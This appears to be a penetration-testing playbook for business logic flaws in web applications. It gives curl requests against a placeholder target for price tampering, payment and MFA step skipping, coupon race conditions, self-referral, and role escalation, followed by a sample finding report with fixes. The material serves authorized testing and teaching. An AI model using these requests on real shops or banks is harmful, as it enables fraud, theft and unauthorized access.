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Identifying flaws in application business logic that allow price manipulation, workflow bypass, and privilege escalation beyond what technical vulnerability scanners can detect.
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Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.
Identifying and exploiting OAuth 2.0 and OpenID Connect misconfigurations including redirect URI manipulation, token leakage, and authorization code theft during security assessments.
Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
SOC 職業分類に基づく
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| name | testing-for-business-logic-vulnerabilities |
| description | Identifying flaws in application business logic that allow price manipulation, workflow bypass, and privilege escalation beyond what technical vulnerability scanners can detect. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","business-logic","owasp","web-security","burpsuite","manual-testing"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] |
Document all critical business processes and their expected constraints.
# Critical business flows to map:
# 1. Registration/Onboarding flow
# - Email verification requirements
# - Account approval process
# - Role assignment logic
# 2. E-commerce/Purchase flow
# - Product selection → Cart → Checkout → Payment → Confirmation
# - Price calculation logic
# - Discount/coupon application
# - Quantity limits
# - Shipping cost calculation
# 3. Authentication/Authorization flow
# - Login → MFA → Dashboard
# - Password reset → Token → New password
# - Role escalation/approval
# 4. Financial transactions
# - Balance check → Transfer → Confirmation
# - Withdrawal limits
# - Currency conversion
# Document expected constraints:
# - Minimum order amounts
# - Maximum quantity per item
# - Coupon usage limits (one per user)
# - Referral reward caps
# - Withdrawal daily limits
# - Account verification requirements before certain actions
Intercept and modify price, quantity, and total values in requests.
# Test negative quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": -1, "price": 99.99}' \
"https://target.example.com/api/cart/add"
# Test zero price
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 1, "price": 0}' \
"https://target.example.com/api/cart/add"
# Test extremely large quantity
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 999999999}' \
"https://target.example.com/api/cart/add"
# Test decimal/float manipulation
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 0.001, "price": 0.01}' \
"https://target.example.com/api/cart/add"
# Test integer overflow
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"product_id": 1, "quantity": 2147483647}' \
"https://target.example.com/api/cart/add"
# Modify total amount directly in checkout request
# Intercept in Burp and change total from 299.99 to 0.01
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "total": 0.01, "payment_method": "card"}' \
"https://target.example.com/api/checkout"
Attempt to skip required steps in multi-step processes.
# Skip email verification
# Instead of: Register → Verify email → Access dashboard
# Try: Register → Access dashboard directly
curl -s -H "Authorization: Bearer $UNVERIFIED_TOKEN" \
"https://target.example.com/api/dashboard"
# Skip payment step
# Instead of: Cart → Shipping → Payment → Confirmation
# Try: Cart → Confirmation (skip payment)
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cart_id": "abc123", "shipping_address": "123 Main St"}' \
"https://target.example.com/api/orders/confirm"
# Skip MFA step
# Instead of: Login → MFA → Dashboard
# Try: Login → Dashboard (skip MFA)
# After successful password auth, directly access protected resources
# Skip approval process
# Instead of: Submit request → Manager approval → Access granted
# Try: Submit request → Access granted (skip approval)
# Repeat a step that should be one-time
# Apply same coupon code multiple times
for i in $(seq 1 5); do
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "DISCOUNT50"}' \
"https://target.example.com/api/cart/apply-coupon"
echo "Attempt $i"
done
Exploit timing windows in concurrent request processing.
# Race condition on coupon application
# Send multiple identical requests simultaneously
for i in $(seq 1 10); do
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_code": "ONETIME50"}' \
"https://target.example.com/api/cart/apply-coupon" &
done
wait
# Race condition on balance transfer
# If user has $100, try to transfer $100 to two accounts simultaneously
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"to": "user_b", "amount": 100}' \
"https://target.example.com/api/transfer" &
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"to": "user_c", "amount": 100}' \
"https://target.example.com/api/transfer" &
wait
# Race condition on reward claiming
# Using Burp Turbo Intruder for precise timing:
# 1. Send request to Turbo Intruder
# 2. Use race condition script template
# 3. Send 20+ requests simultaneously
# 4. Check if reward was claimed multiple times
Find ways to exploit promotional features and reward mechanisms.
# Self-referral: refer your own email
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"referral_email": "myown@email.com"}' \
"https://target.example.com/api/referrals/invite"
# Referral code reuse across multiple accounts
# Create multiple accounts and use same referral code
# Coupon stacking: apply multiple discount codes
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"coupon_codes": ["SAVE10", "WELCOME20", "VIP50"]}' \
"https://target.example.com/api/cart/apply-coupons"
# Abuse free trial: re-register with same details
# Test if email+1@domain.com or email@domain.com bypass duplicate detection
# Gift card / credit manipulation
# Buy gift card with gift card balance (circular)
# Apply gift card with value > purchase price (get change as credit)
# Test reward point manipulation
# Earn points on order → Cancel order → Keep points
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/orders/12345/cancel"
# Check if reward points from order 12345 were revoked
Assess authorization logic for privilege escalation through business processes.
# Role escalation via registration parameter
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"email":"test@test.com","password":"Test1234!","role":"admin"}' \
"https://target.example.com/api/auth/register"
# Organization tenant boundary testing
# User in Org A tries to access Org B resources via business workflows
curl -s -X POST \
-H "Authorization: Bearer $TOKEN_ORG_A" \
-H "Content-Type: application/json" \
-d '{"org_id": "org_b_id", "action": "view_reports"}' \
"https://target.example.com/api/reports"
# Test for privilege retention after role downgrade
# Admin → Regular user: can they still access admin functions?
# Employee → Terminated: can they still access company resources?
# Test invitation/delegation abuse
# Invite user with higher privileges than inviter has
curl -s -X POST \
-H "Authorization: Bearer $REGULAR_TOKEN" \
-H "Content-Type: application/json" \
-d '{"email":"new@test.com","role":"admin"}' \
"https://target.example.com/api/users/invite"
| Concept | Description |
|---|---|
| Business Logic Flaw | A vulnerability in the application's workflow or rules that allows unintended actions |
| Price Manipulation | Modifying price, quantity, or total values in client-side requests |
| Workflow Bypass | Skipping required steps in a multi-step business process |
| Race Condition | Exploiting concurrent request processing to violate business constraints |
| Privilege Escalation | Gaining higher permissions through business process manipulation |
| Negative Testing | Testing with unexpected values (negative, zero, null, extreme) |
| State Manipulation | Changing application state in an order not intended by the business logic |
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Request interception, modification, and sequence testing |
| Burp Turbo Intruder | High-speed request sending for race condition testing |
| Burp Sequencer | Token randomness analysis for predictable reference testing |
| OWASP ZAP | Open-source alternative for proxy-based testing |
| Postman | Workflow testing with collection runners and environment variables |
| Custom scripts | Python/bash scripts for automated business logic testing |
An e-commerce site allows applying multiple coupon codes. By stacking "WELCOME10", "SAVE20", and "VIP30", the total discount exceeds the product price, resulting in a negative balance or free order.
A banking application checks balance before transfer but does not lock the account. Sending two simultaneous $1000 transfers from a $1000 balance results in both succeeding, creating money from nothing.
The checkout flow sends the total amount in the POST body. Intercepting and changing the total from $499.99 to $0.01 results in a successful order at the manipulated price.
The password reset flow generates a one-time token but does not invalidate it after use. The same token can be used repeatedly to reset the password.
## Business Logic Vulnerability Finding
**Vulnerability**: Price Manipulation in Checkout Flow
**Severity**: Critical (CVSS 9.1)
**Location**: POST /api/checkout - `total` parameter
**OWASP Category**: A04:2021 - Insecure Design
### Reproduction Steps
1. Add item to cart (price: $499.99)
2. Proceed to checkout
3. Intercept POST /api/checkout request in Burp
4. Modify "total" from 499.99 to 0.01
5. Forward the request; order completes at $0.01
### Business Rules Violated
| Rule | Expected | Actual |
|------|----------|--------|
| Server-side price calculation | Total computed server-side | Client-submitted total accepted |
| Coupon single use | One coupon per order | Same coupon applied 5 times |
| Negative quantity check | Quantity >= 1 | Quantity -1 accepted (credit issued) |
| Race condition on transfer | Balance checked atomically | Dual transfer exceeded balance |
### Impact
- Financial loss: orders processed at attacker-controlled prices
- Inventory loss: products shipped for $0.01
- Reward abuse: unlimited referral credits via self-referral
- Double-spending via race condition on transfers
### Recommendation
1. Perform all price calculations server-side; never trust client-submitted totals
2. Implement server-side validation for quantity (positive integers only)
3. Use database-level locks or atomic transactions for financial operations
4. Implement idempotency keys to prevent duplicate transaction processing
5. Rate-limit and log coupon applications, referral submissions, and transfers